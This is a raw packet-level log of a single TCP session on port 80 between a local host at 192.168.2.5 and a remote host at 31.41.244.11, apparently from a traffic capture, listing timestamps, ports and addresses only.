Dec 14, 2024 14:56:18.113475084 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.113528013 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.114501953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.114634991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.114687920 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.115735054 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.115818977 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.115869999 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.116893053 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.116942883 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.117027998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.118079901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.118129969 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.118170023 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.119303942 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.119350910 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.119399071 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.119450092 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.120476007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.120559931 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.120666981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.120716095 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.121665001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.121716976 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.121763945 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.121812105 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.122847080 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.122895956 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.122939110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.122986078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.124054909 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.124104977 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.124151945 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.124200106 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.125251055 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.125375986 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.125426054 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.126591921 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.126702070 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.126750946 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.127701044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.127749920 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.127799034 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.128545046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.128880978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.128930092 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.129044056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.129095078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.130022049 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.130073071 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.130121946 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.130170107 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.131230116 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.131290913 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.131339073 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.131402016 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.132440090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.132503986 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.132515907 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.133380890 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.133605003 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.133733988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.133775949 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.134893894 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.134998083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.135044098 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.135941029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.135988951 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.274815083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.274859905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.274903059 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.274903059 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.274967909 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.275046110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.275099039 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.276151896 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.276212931 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.276299953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.276352882 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.277384996 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.277445078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.277476072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.277894020 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.278549910 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.278603077 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.278649092 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.279031038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.279717922 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.279875040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.279927015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.280992985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.281044006 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.281095982 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.281145096 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.282108068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.282156944 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.282206059 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.282255888 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.283329010 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.283382893 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.283469915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.283520937 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.284518957 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.284605026 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.284651995 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.284683943 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.285706997 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.285756111 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.285934925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.285991907 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.286887884 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.286955118 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.287000895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.287050962 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.288121939 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.288194895 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.288214922 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.288264990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.289273024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.289325953 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.289372921 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.289421082 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.290483952 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.290535927 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.290582895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.290637016 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.291675091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.291728973 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.291781902 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.291831970 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.292870998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.292927027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.293100119 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.293149948 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.294038057 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.294090033 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.294146061 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.294195890 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.295264959 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.295330048 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.295525074 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.295573950 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.296437979 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.296493053 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.296545982 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.296699047 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.297640085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.297688961 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.297753096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.297801971 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.298820972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.298930883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.298979044 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.300014019 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.300065994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.300112963 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.300162077 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.301199913 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.301253080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.301306009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.301609993 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.302426100 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.302527905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.302592993 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.303606987 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.303659916 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.303757906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.303874969 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.304780006 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.304835081 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.304888010 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.304934025 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.305975914 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.306031942 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.306083918 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.306265116 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.307157040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.307213068 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.307264090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.307384968 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.308382988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.308435917 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.308602095 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.308653116 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.309552908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.309602022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.309652090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.309703112 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.310811996 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.310864925 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.310957909 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.311009884 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.311975956 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.312031984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.312058926 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.312107086 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.313141108 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.313198090 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.313292980 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.313630104 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.314380884 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.314435005 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.314466953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.314819098 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.315541029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.315596104 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.315696955 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.315746069 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.316714048 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.316766024 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.316860914 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.316916943 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.317907095 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.317954063 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.318005085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.318058014 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.319103003 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.319206953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.319261074 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.320312023 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.320369005 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.320415020 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.320466042 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.321489096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.321541071 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.321588039 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.321640015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.322676897 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.322731018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.322830915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.322886944 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.323906898 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.323978901 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.324027061 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.324079990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.325077057 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.325130939 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.325177908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.325248003 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.326250076 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.326299906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.326356888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.326407909 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.327471972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.327524900 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.327550888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.327601910 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.328648090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.328701973 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.328804016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.328854084 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.329854012 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.329902887 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.329947948 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.329997063 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.331017017 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.331073046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.331124067 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.331238985 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.332405090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.332458973 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.332585096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.332746983 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.333430052 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.333483934 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.333539009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.333636045 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.334625006 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.334681034 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.334772110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.334820986 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.335894108 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.335943937 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.335963964 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.336069107 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.337013006 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.337064981 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.467202902 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.467228889 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.467267990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.467303038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.467545033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.467658043 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.467662096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.467710018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.468759060 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.468810081 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.468858957 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.468909979 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.470040083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.470125914 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.470293045 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.470344067 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.470427036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.470594883 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.471668959 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.471715927 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.471787930 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.471836090 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.472812891 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.472862005 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.472899914 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.472948074 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.473880053 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.473926067 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.474082947 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.474132061 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.475167036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.475219011 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.475272894 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.475358963 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.476290941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.476344109 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.476397991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.476445913 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.477456093 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.477511883 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.477616072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.477698088 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.478640079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.478689909 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.478774071 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.478849888 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.479851007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.479897976 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.479909897 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.479938984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.481071949 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.481090069 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.481126070 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.481158018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.482224941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.482276917 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.482359886 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.482413054 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.483400106 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.483453035 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.483515978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.483566999 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.484617949 CET	80	49846	31.41.244.11	192.168.2.5
